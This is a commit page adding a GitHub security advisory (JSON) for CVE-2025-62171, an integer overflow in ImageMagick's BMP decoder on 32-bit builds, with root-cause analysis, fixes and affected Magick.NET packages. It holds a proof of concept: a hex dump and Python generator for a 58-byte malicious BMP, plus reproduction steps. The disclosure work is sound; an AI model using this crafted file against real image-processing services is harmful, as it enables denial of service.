Skip to content

Commit 5d04194

Browse files
1 parent bca0e31 commit 5d04194

File tree

1 file changed

+164
-0
lines changed

1 file changed

+164
-0
lines changed
Lines changed: 164 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,164 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-9pp9-cfwx-54rm",
4+
"modified": "2025-10-28T14:43:21Z",
5+
"published": "2025-10-28T14:43:20Z",
6+
"aliases": [
7+
"CVE-2025-62171"
8+
],
9+
"summary": "ImageMagick has Integer Overflow in BMP Decoder (ReadBMP)",
10+
"details": "## Summary\n\nCVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but **the fix is incomplete and ineffective**. The latest version **7.1.2-5 remains vulnerable** to the same integer overflow attack.\n\nThe patch added `BMPOverflowCheck()` but placed it **after** the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.\n\n**Affected Versions:**\n- ImageMagick < 7.1.2-2 (originally reported)\n- **ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)**\n\n**Platform and Configuration Requirements:**\n- 32-bit systems ONLY (i386, i686, armv7l, etc.)\n- Requires `size_t = 4 bytes`. (64-bit systems are **NOT vulnerable** (size_t = 8 bytes))\n- Requires modified resource limits: The default `width`, `height`, and `area` limits must have been manually increased (Systems using default ImageMagick resource limits are **NOT vulnerable**).\n\n---\n\n## Details(Root Cause Analysis)\n\n### Vulnerable Code Location\n\n**File:** `coders/bmp.c` \n**Lines:** 1120-1122 (in version 7.1.2-5)\n\n### The Incomplete Patch\n\n```c\n// Line 1120: Integer overflow happens HERE\nextent = image->columns * bmp_info.bits_per_pixel; // OVERFLOW!\n\n// Line 1121: Uses already-overflowed value\nbytes_per_line = 4*((extent+31)/32);\n\n// Line 1122: Checks the RESULT, not the multiplication\nif (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)\n ThrowReaderException(CorruptImageError, \"InsufficientImageDataInFile\");\n```\n\n### Why the Patch Fails\n\n**Attack Vector (32-bit system):**\n```\nInput BMP Header:\n Width: 536,870,912 (0x20000000)\n Height: 1\n Bits Per Pixel: 32\n\nCalculation on 32-bit system:\n extent = 536,870,912 × 32\n = 17,179,869,184 (0x400000000)\n \n 32-bit truncation:\n 0x400000000 & 0xFFFFFFFF = 0x00000000 ← Overflow to ZERO!\n \n bytes_per_line = 4 × ((0 + 31) / 32)\n = 4 × 0\n = 0\n \n BMPOverflowCheck(0, 1):\n return (1 != 0) && (0 > 4294967295UL/1)\n return True && (0 > 4294967295)\n return True && False\n return False ← Does NOT detect overflow!\n```\n\n**The check fails because:**\n1. The overflow happens at Line 1120 (extent calculation)\n2. `extent` becomes 0 due to 32-bit truncation\n3. `bytes_per_line` is calculated as 0 (Line 1121)\n4. `BMPOverflowCheck(0, 1)` returns **False** (no overflow detected)\n5. Code proceeds with corrupted values → ASan crash\n\n---\n\n## PoC(Proof of Concept)\n\n### Minimal 58-byte BMP File\n\n**Hex dump:**\n```\n00000000 42 4d 3a 00 00 00 00 00 00 00 36 00 00 00 28 00 |BM:.......6...(.|\n00000010 00 00 00 00 00 20 01 00 00 00 01 00 20 00 00 00 |..... ...... ...|\n00000020 00 00 00 00 00 00 13 0b 00 00 13 0b 00 00 00 00 |................|\n00000030 00 00 00 00 00 00 00 00 00 00 |..........|\n```\n\n**Key Fields:**\n- Offset 0x12: Width = `00 00 00 20` = 0x20000000 (536,870,912)\n- Offset 0x16: Height = `01 00 00 00` = 1\n- Offset 0x1C: BPP = `20 00` = 32\n\n### Python Generator\n\n```python\n#!/usr/bin/env python3\nimport struct\n\nwidth = 0x20000000 # 536,870,912\nheight = 1\nbpp = 32\n\n# BMP File Header (14 bytes)\nfile_header = b'BM'\nfile_header += struct.pack('<I', 58) # File size\nfile_header += struct.pack('<HH', 0, 0) # Reserved\nfile_header += struct.pack('<I', 54) # Pixel offset\n\n# DIB Header (40 bytes)\ndib_header = struct.pack('<I', 40) # Header size\ndib_header += struct.pack('<i', width) # Width\ndib_header += struct.pack('<i', height) # Height\ndib_header += struct.pack('<H', 1) # Planes\ndib_header += struct.pack('<H', bpp) # BPP\ndib_header += struct.pack('<I', 0) # Compression\ndib_header += struct.pack('<I', 0) # Image size\ndib_header += struct.pack('<i', 2835) # X ppm\ndib_header += struct.pack('<i', 2835) # Y ppm\ndib_header += struct.pack('<I', 0) # Colors\ndib_header += struct.pack('<I', 0) # Important colors\n\npixel_data = b'\\x00\\x00\\x00\\x00'\n\nwith open('overflow.bmp', 'wb') as f:\n f.write(file_header + dib_header + pixel_data)\n\nprint(f\"Created overflow.bmp (58 bytes)\")\n```\n\n---\n\n## Reproduction Steps\n\n### Environment Setup\n\n```bash\n# Use 32-bit Docker container\ndocker run -it --name test-32bit i386/ubuntu:latest bash\n\n# Install dependencies\napt-get update\napt-get install -y clang build-essential wget tar \\\n libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \\\n zlib1g-dev liblzma-dev libbz2-dev\n\n# Download ImageMagick 7.1.2-5\ncd /tmp\nwget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz\ntar xzf 7.1.2-5.tar.gz\ncd ImageMagick-7.1.2-5\n```\n\n### Build with AddressSanitizer (32-bit IMPORTANT!)\n\n```bash\n# Configure for 32-bit build (CRITICAL - must be 32-bit!)\n./configure \\\n --host=i686-pc-linux-gnu \\\n --disable-dependency-tracking \\\n --disable-silent-rules \\\n --disable-shared \\\n --disable-openmp \\\n --disable-docs \\\n --without-x \\\n --without-perl \\\n --without-magick-plus-plus \\\n --without-lqr \\\n --without-zstd \\\n --without-tiff \\\n --with-quantum-depth=8 \\\n --disable-hdri \\\n CFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n CXXFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n LDFLAGS=\"-fsanitize=address,undefined\"\n\nmake -j$(nproc)\n\n### Trigger the Vulnerability\n\n```bash\n# Set environment to bypass cache.c limits\nexport ASAN_OPTIONS=\"detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1\"\nexport MAGICK_WIDTH_LIMIT=2000000000\nexport MAGICK_HEIGHT_LIMIT=2000000000\nexport MAGICK_AREA_LIMIT=10000000000\n\n# Test with malicious BMP (use Python script above to create it)\n./utilities/magick identify overflow.bmp\n```\n\n---\n\n## AddressSanitizer Output\n\n```\n==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 \n\"((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)\" (0x0, 0x0)\n=================================================================\n==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 \n\"((0 && \"Address is not in memory and not in shadow?\")) != (0)\" (0x0, 0x0)\n==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: \nstack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)\nFalse positive error reports may follow\nFor details see https://github.com/google/sanitizers/issues/189\n```\n\nIt operates in the following environments.\n\n```\nexport MAGICK_WIDTH_LIMIT=2000000000\nexport MAGICK_HEIGHT_LIMIT=2000000000\nexport MAGICK_AREA_LIMIT=10000000000\n```\n\n## Impact\n\n### Attack Scenario\n\n1. Attacker creates a 58-byte malicious BMP file\n2. Uploads to web service that uses ImageMagick (on 32-bit system)\n3. ImageMagick attempts to process the image\n4. Integer overflow triggers AddressSanitizer crash\n5. Service becomes unavailable (Denial of Service)\n\n**Real-world targets:**\n- Web hosting platforms with image processing\n- CDN services with thumbnail generation\n- Legacy embedded systems\n- IoT devices running 32-bit Linux\n- Docker containers using 32-bit base images\n\n---\n\n## Recommended Fix\n\n### Correct Patch\n\nThe overflow check must happen **before** the multiplication:\n\n```c\n// Add overflow check BEFORE calculating extent\nif (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse)\n ThrowReaderException(CorruptImageError, \"IntegerOverflowInDimensions\");\n\n// Now safe to calculate\nextent = image->columns * bmp_info.bits_per_pixel;\nbytes_per_line = 4*((extent+31)/32);\n\n// Additional safety check\nif (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)\n ThrowReaderException(CorruptImageError, \"InsufficientImageDataInFile\");\n```\n\n### Alternative: Use 64-bit Arithmetic\n\n```c\n// Force 64-bit calculation\nuint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;\n\nif (extent_64 > UINT32_MAX)\n ThrowReaderException(CorruptImageError, \"ImageDimensionsTooLarge\");\n\nextent = (size_t)extent_64;\nbytes_per_line = 4*((extent+31)/32);\n```\n\n### Credits\nwooseokdotkim\[email protected]",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "NuGet",
21+
"name": "Magick.NET-Q16-AnyCPU"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "14.9.0"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "NuGet",
40+
"name": "Magick.NET-Q16-HDRI-AnyCPU"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "0"
48+
},
49+
{
50+
"fixed": "14.9.0"
51+
}
52+
]
53+
}
54+
]
55+
},
56+
{
57+
"package": {
58+
"ecosystem": "NuGet",
59+
"name": "Magick.NET-Q16-HDRI-x86"
60+
},
61+
"ranges": [
62+
{
63+
"type": "ECOSYSTEM",
64+
"events": [
65+
{
66+
"introduced": "0"
67+
},
68+
{
69+
"fixed": "14.9.0"
70+
}
71+
]
72+
}
73+
]
74+
},
75+
{
76+
"package": {
77+
"ecosystem": "NuGet",
78+
"name": "Magick.NET-Q16-x86"
79+
},
80+
"ranges": [
81+
{
82+
"type": "ECOSYSTEM",
83+
"events": [
84+
{
85+
"introduced": "0"
86+
},
87+
{
88+
"fixed": "14.9.0"
89+
}
90+
]
91+
}
92+
]
93+
},
94+
{
95+
"package": {
96+
"ecosystem": "NuGet",
97+
"name": "Magick.NET-Q8-AnyCPU"
98+
},
99+
"ranges": [
100+
{
101+
"type": "ECOSYSTEM",
102+
"events": [
103+
{
104+
"introduced": "0"
105+
},
106+
{
107+
"fixed": "14.9.0"
108+
}
109+
]
110+
}
111+
]
112+
},
113+
{
114+
"package": {
115+
"ecosystem": "NuGet",
116+
"name": "Magick.NET-Q8-x86"
117+
},
118+
"ranges": [
119+
{
120+
"type": "ECOSYSTEM",
121+
"events": [
122+
{
123+
"introduced": "0"
124+
},
125+
{
126+
"fixed": "14.9.0"
127+
}
128+
]
129+
}
130+
]
131+
}
132+
],
133+
"references": [
134+
{
135+
"type": "WEB",
136+
"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9pp9-cfwx-54rm"
137+
},
138+
{
139+
"type": "ADVISORY",
140+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62171"
141+
},
142+
{
143+
"type": "WEB",
144+
"url": "https://github.com/ImageMagick/ImageMagick/commit/cea1693e2ded51b4cc91c70c54096cbed1691c00"
145+
},
146+
{
147+
"type": "PACKAGE",
148+
"url": "https://github.com/ImageMagick/ImageMagick"
149+
},
150+
{
151+
"type": "WEB",
152+
"url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.9.0"
153+
}
154+
],
155+
"database_specific": {
156+
"cwe_ids": [
157+
"CWE-190"
158+
],
159+
"severity": "MODERATE",
160+
"github_reviewed": true,
161+
"github_reviewed_at": "2025-10-28T14:43:20Z",
162+
"nvd_published_at": "2025-10-17T17:15:49Z"
163+
}
164+
}

0 commit comments

Comments
 (0)